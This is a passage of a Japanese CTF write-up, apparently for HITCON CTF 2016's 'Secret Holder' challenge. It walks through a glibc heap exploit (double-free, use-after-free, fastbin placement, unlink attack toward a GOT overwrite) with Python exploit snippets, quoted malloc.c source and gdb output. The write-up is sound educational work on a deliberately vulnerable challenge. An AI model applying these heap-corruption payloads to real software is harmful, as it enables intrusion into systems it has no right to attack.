2917       (*hook)(mem, RETURN_ADDRESS (0));
2918       return;
2919     }
2920 
2921   if (mem == 0)                              /* free(0) has no effect */
2922     return;
2923 
2924   p = mem2chunk (mem);
2925 
2926   if (chunk_is_mmapped (p))                       /* release mmapped memory. */
2927     {
2928       /* see if the dynamic brk/mmap threshold needs adjusting */
2929       if (!mp_.no_dyn_threshold
2930           && p->size > mp_.mmap_threshold
2931           && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
2932         {
2933           mp_.mmap_threshold = chunksize (p);
2934           mp_.trim_threshold = 2 * mp_.mmap_threshold;
2935           LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
2936                       mp_.mmap_threshold, mp_.trim_threshold);
2937         }
2938       munmap_chunk (p);
2939       return;
2940     }
2941 
2942   ar_ptr = arena_for_chunk (p);
2943   _int_free (ar_ptr, p, 0);
2944 }

チャンクヘッダ操作用のバッファの確保(+double-free)

後のUAFで幾つかのfree済みのチャンクを書き換えたり、偽のチャンクを作ったりできる余裕ができるように、 攻撃用のバッファはhugeとします。 まず、模索フェーズで判明した挙動を使ってhuge_secret==small_secretとなるような操作をします。 下のコードのkeep(huge, "huge = small")までがその手順です。
# 関数定義は最後のパートに掲載するExploitコードで確認してください。操作は文字通りです。

最後の仕上げはsmallのdouble-freeです。 double-freeは一度確保したチャンクを2回freeできる状態にあるようなバグを指します。 一度freeしたのにまだその場所を指すようなポインタが存在するために2度めのfreeが可能なのです。 wipe(small)によって、hugeが専有していたメモリが解放されます(huge_secret==small_secretなのでwipe(huge)と同等。ただし、holding_huge_secretが0にならないというおまけ付き)。 後でhugeがあった場所にsmallやbigをmallocさせることができるようになります。
wipe(huge)でも似たようなことができますが、hugeを通してヒープを書き換えることができなくなるので、これはノーチャンです。)

keep(huge, "") # mmap()
wipe(huge)     # free()

"""chunks
ps = prev_size
-- H ----  -- S ------
(ps = ?)   (ps = ?)
size=      size = 0x30
"huge"     "small"
           -----------
           -- B ------
           (ps = 0x30)
           size = 0xfa0 | 1
           "big"
---------  -----------
"""

"""double-free"""
keep(small, "small")
wipe(small)                 # first free(S)
keep(huge, "huge = small")  # sbrk(), make H
wipe(small)                 # second free(S)

参考までに、最後のwipe(small)をした場合、しなかった場合で、 上のコードの続きでkeep(small), keep(big)した場合のチャンク内容をこの順に示します。

gdb-peda$ debug
holding (small, big, huge) secret = (1, 1, 1)
small_secret malloced at 0xe19010
  prev_size =                0
  size      =             0x31
  fd        =       0x73737373
  bk        =              0xa
  content   = ssssssss

big_secret malloced at 0xe19040
  prev_size =                0
  size      =            0xfb1
  fd        =       0x62626262
  bk        =              0xa
  content   = bbbbbbbb

huge_secret malloced at 0xe19010
  prev_size =                0
  size      =             0x31
  fd        =       0x73737373
  bk        =              0xa
  content   = ssssssss
gdb-peda$ debug
holding (small, big, huge) secret = (1, 1, 1)
small_secret malloced at 0x6b2aa0
  prev_size =                0
  size      =             0x31
  fd        =       0x73737373
  bk        =              0xa
  content   = ssssssss

big_secret malloced at 0x6b2ad0
  prev_size =                0
  size      =            0xfb1
  fd        =       0x62626262
  bk        =              0xa
  content   = bbbbbbbb

huge_secret malloced at 0x651010
  prev_size =                0
  size      =          0x61a91
  fd        =       0x65677568
  bk        =       0x6c6c616d
  content   = huge = small

Use After Freeは解放済みのメモリ領域を書き換える攻撃です。 ここでは未使用チャンクのヘッダを書き換えることを目標にします。 これにより、Unlink Attack(※後述)を発動することができます。 さらにUnlink AttackからのGOT Overwriteを目論んでいます。

このフェーズは勉強になるしふくろくん方式で進めていきます。

fastbinsの準備

hugeに対して、smallが少し下、bigがsmallの直下にくると、renew(huge)によってsmallとbigのチャンクヘッダを書き換えることができます。
今は、smallとbigのそのような配置を実現するような手順を考えます。

fastbinsでは、要求サイズが小さい時に取り出されている未使用チャンクのリストです。 LIFOである点がミソです。
もともと隣接していたサイズが0x30の2つのチャンクA,Bがこの順にfastbinsに繋がったらどうなるでしょうか? 次のmalloc(0x28);では最後に繋がったチャンクBが返ってきます。 そしてBはAに対して0x30だけアドレスが下にあります。さらに、Aがhugeと同じアドレスだった場合は…そうです、Bはhugeに対して少し下に来ますね。これは使えるぞい。
ということで、これまでの手順のコードがこれです。

"""fastbins chunks"""
keep(small, "s"*8)
keep(big, "b"*8)
raw_input('Press Enter to continue: ')
renew(huge, ''.join([
    "S" * 0x28,             # content of S
    p64(0x30 | 1),          # fake size for B; there're two 30 bytes chunks
    "B" * 0x28,             # content of B
    p64(0x1919 | 1)         # fake in-use chunk size (decide "size" by yourself)
    ]))
wipe(small) # fastbins -> small
wipe(big) # fastbins -> small -> big

Unlink Attackの説明は、bataさんのkatagaitai勉強会資料が秀逸です。 基本的な説明はそのスライドに譲ります。

f:id:katc:20161016235732p:plainf:id:katc:20161016235745p:plainf:id:katc:20161016235751p:plainf:id:katc:20161016235802p:plainf:id:katc:20161016235818p:plain

ここで補足すべきことは、

  • 【今回は】P2はチャンクヘッダ上では未使用で(PREV_INUSE = 0)、free(P)する【※スライドと逆】
  • x86-64では、メンバのビット幅は8バイ
  • X-0x8はX-0x10, X-0xCはX-0x18と読み替える

ということです。スライドで分かりにくい、Unlink Attack後にXがX-0xCを指す理由は後で解説します。

ではUse After Freeを今回の問題に適用した場合で話を進めます。 「アドレス的にPの直前のメモリP2が利用中だったとする」は隣接したsmallとbigのことになります。 今回はwipe(big) (=free(big))によりUnlink(Unlinkの意味は後述)します。

XはP2を指していなければなりません。 といことで、しふくろくん方式ではXはsmall_secretになります。
# 後述のfastbinを使わない解法では、Xはhuge_secretでもいいですが、後々これは微妙です。理由は余談で話します。
スライド76の時点では、X(small_secret)はP(=big)を指しています。P2はsmallに当たります。

スライド77のタイミングで、hugeからP2, Pを次のように書き換えます。

  • P2のfd/bkメンバはUnlink Attackで使う。fdがX-0x18、bkがX-0x10を指すような値にする
  • P2の残りは適当にパディング
  • Pのprev_sizeはP2の正しいサイズの0x30にしておく
  • P2が未使用であるかのように見せる(PREV_INUSE = 0)ためにPのsizeメンバの値を0x30 & ~PREV_INUSE(=0x30)とする
  • Pの中身はどうでもいい(ので何も書き換えない)

というわけでコードはこうなります。

"""unlink attack"""
# X = small_secret
keep(small, "s"*8)
keep(big, "b"*8)
renew(huge, ''.join([
    '\0' * 0x30,                # "small" is allocated to huge+0x30 (fastbins is LIFO)
                                # we can manipulate "small" chunk header with huge 
    # P2
    p64(0),                     # prev_size
    p64(0xfa0 | 1),             # size
    p64(small_secret - 0x18),   # fd
    p64(small_secret - 0x10),   # bk
    '\0' * (0xfa0 - 0x20),
    # P                        # "big" is allocated to huge+0x30+0xfa0 (under B)
    p64(0xfa0),                 # prev_size
    p64(0xfb0 & ~1),            # size
    ]))
wipe(big)                       # free(P) => unlink atack (X = X-0x18)

P2のfd/bkを書き換えてうまくいく裏付けをmalloc.cに求めよう。 Unlinkというものはmalloc_consolidateと呼ばれる処理で呼ばれます。 malloc_consolidateについては、例の神資料の説明を借ります。

ではmalloc_consolidate()の説明です。解放されたchunkの内max_fast以下のサイズのものは無条件にfastbinsに登録される為、大きなサイズになり得る領域を分断しているかもしれません。malloc_consolidate()ではfastbinsに登録された全chunkをこのリストから削除します。

この隣接した未使用チャンクの結合処理で呼ばれるのがUnlinkです。 該当のソースコードはこちらです。今回の条件では①、②、③がポイントです(おそらく)。

4100 static void malloc_consolidate(mstate av)
4101 {
4102   mfastbinptr*    fb;                 /* current fastbin being consolidated */
4103   mfastbinptr*    maxfb;              /* last fastbin (for loop control) */
4104   mchunkptr       p;                  /* current chunk being consolidated */
4105   mchunkptr       nextp;              /* next chunk to consolidate */
4106   mchunkptr       unsorted_bin;       /* bin header */
4107   mchunkptr       first_unsorted;     /* chunk to link to */
4108 
4109   /* These have same use as in free() */
4110   mchunkptr       nextchunk;
4111   INTERNAL_SIZE_T size;
4112   INTERNAL_SIZE_T nextsize;
4113   INTERNAL_SIZE_T prevsize;
4114   int             nextinuse;
4115   mchunkptr       bck;
4116   mchunkptr       fwd;
4117 
4118   /*
4119     If max_fast is 0, we know that av hasn't
4120     yet been initialized, in which case do so below
4121   */
4122 
4123   if (get_max_fast () != 0) {
4124     clear_fastchunks(av);
4125 
4126     unsorted_bin = unsorted_chunks(av);
4127 
4128     /*
4129       Remove each chunk from fast bin and consolidate it, placing it
4130       then in unsorted bin. Among other reasons for doing this,
4131       placing in unsorted bin avoids needing to calculate actual bins
4132       until malloc is sure that chunks aren't immediately going to be
4133       reused anyway.
4134     */
4135 
4136     maxfb = &fastbin (av, NFASTBINS - 1);
4137     fb = &fastbin (av, 0);
4138     do {
4139       p = atomic_exchange_acq (fb, 0);
4140       if (p != 0) {
4141     do {
4142       check_inuse_chunk(av, p);
4143       nextp = p->fd;
4144 
4145       /* Slightly streamlined version of consolidation code in free() */
4146       size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
4147       nextchunk = chunk_at_offset(p, size); ①
4148       nextsize = chunksize(nextchunk);
4149 
4150       if (!prev_inuse(p)) { ②
4151         prevsize = p->prev_size;
4152         size += prevsize;
4153         p = chunk_at_offset(p, -((long) prevsize));
4154         unlink(p, bck, fwd); ③
4155       }
4156 

スライド80のタイミングでXの値が変わります。 どうしてX-0xC(X-0x18)を指すことになるのかを順に追っていきます。 まず、Pのfd/bkはXの方を指していますから、mallocから見て、未使用のチャンクリストはX->P2->Xのように見えます。 次に、PからP2のサイズ(Pのチャンクヘッダのprev_size)だけ引かれるため、①で、free(P)だった話が、free(p2)の話にすり替わります。 PでPREV_INUSEを0にしたので②はtrueになります。 最後に、③でUnlink(P2)が走ります。 ここまでがスライド79の内容です。

ではスライド80を見ます。 Unlink(P2)で何が起こるのかをmalloc.cで同様に追います。 Unlinkはunlinkというマクロで次のように定義されています。

1407 #define unlink(P, BK, FD) {                                            \
1408     FD = P->fd;                                   \
1409     BK = P->bk;                                   \
1410     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))             \
1411       malloc_printerr (check_action, "corrupted double-linked list", P);      \
1412     else {                                    \
1413         FD->bk = BK;                                  \
1414         BK->fd = FD;                                  \
1415         if (!in_smallbin_range (P->size)                      \
1416             && __builtin_expect (P->fd_nextsize != NULL, 0)) {            \
1417             assert (P->fd_nextsize->bk_nextsize == P);                \
1418             assert (P->bk_nextsize->fd_nextsize == P);                \
1419             if (FD->fd_nextsize == NULL) {                    \
1420                 if (P->fd_nextsize == P)                      \
1421                   FD->fd_nextsize = FD->bk_nextsize = FD;             \
1422                 else {                                \
1423                     FD->fd_nextsize = P->fd_nextsize;                 \
1424                     FD->bk_nextsize = P->bk_nextsize;                 \
1425                     P->fd_nextsize->bk_nextsize = FD;                 \
1426                     P->bk_nextsize->fd_nextsize = FD;                 \
1427                   }                               \
1428               } else {                                \
1429                 P->fd_nextsize->bk_nextsize = P->bk_nextsize;             \
1430                 P->bk_nextsize->fd_nextsize = P->fd_nextsize;             \
1431               }                                   \
1432           }                                   \
1433       }                                       \
1434 }

今関係ある処理に絞るとこんなコードとして読み取れます。

1407 #define unlink(P, BK, FD) {                                            \
1408     FD = P->fd;                                   \
1409     BK = P->bk;                                   \
1410     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))             \
1411       malloc_printerr (check_action, "corrupted double-linked list", P);      \
1412     else {                                    \
1413         FD->bk = BK;                                  \
1414         BK->fd = FD;                                  \
1433       }                                       \
1434 }

実際に値を当てはめて挙動を見てみましょう。

#define unlink(P2, X, X) {                                            \
    FD = P2->fd = X-0x18;                                   \
    BK = P2->bk = X-0x10;                                   \
    if (__builtin_expect (FD->bk != P2 || BK->fd != P2, 0))             \
      malloc_printerr (check_action, "corrupted double-linked list", P);      \
    else {                                    \
        X = X-0x10;                                  \
        X = X-0x18;                                  \
      }                                       \
}

(スライド78の通り、FD->bkとBK->fdつまり、(X-0x10)->bkと(X-0x18)->fdはどちらもXすなわちP2なのでassertは通ります)
よって、XはX-0x18(スライドではX-0xC)を指すことが分かります。

以上がUnlink AttackによるXの書き換えの手順になります。 ポイントはXの指す先を自分でコントロールできなかったが、XをX-0x18に向かせたということです。 Xはsmall_secretなので、X-0x18はbig_secretです。 renew()とかいうバッファの内容を書き換える関数がありますから、renew(big)でbig_secretが指す値を書き換えることができます。 そして、big_secretが指す先はsmall_secretで書き換えることができます。 つまり、big_secretを中継して任意アドレスの内容を書き換えることができます。 書き換える対象はもちろんGOTです。(後編に続く)

別解

fastbinsのくだりなしで、Unlink Attackを成功する方法がHITCON CTF 2016 Quals -- Secret Holder « Hacking Tubeで紹介されている。

"""unlink attack"""
# X = small_secret
keep(small, "s"*8)
keep(big, "b"*8)
renew(huge, ''.join([
    # P2
    p64(0),                     # prev_size
    p64(0x21),                  # size
    p64(small_secret - 0x18),   # fd
    p64(small_secret - 0x10),   # bk
    # P                       
    p64(0x20),                  # prev_size
    p64(0x90),                  # size
    'B' * 0x80,
    p64(0x90),                  # prev_size
    p64(0x91),                  # size
    'C' * 0x80,
    p64(0x90),                  # prev_size
    p64(0x91),                  # size    
    ]))
wipe(big)                       # free(P) => unlink atack (X = X-0x18)

が、なぜこんなに偽チャンクが必要なのだろう?【ご意見募集中】

2016/10/28追記: inaz2さんがfastbinsなし版の解法をgistで公開しています。非常にシンプルでいいすね。

https://gist.github.com/inaz2/732487ee170be9d8d2adf9cb50fe8d35

後編

katc.hateblo.jp

参考文献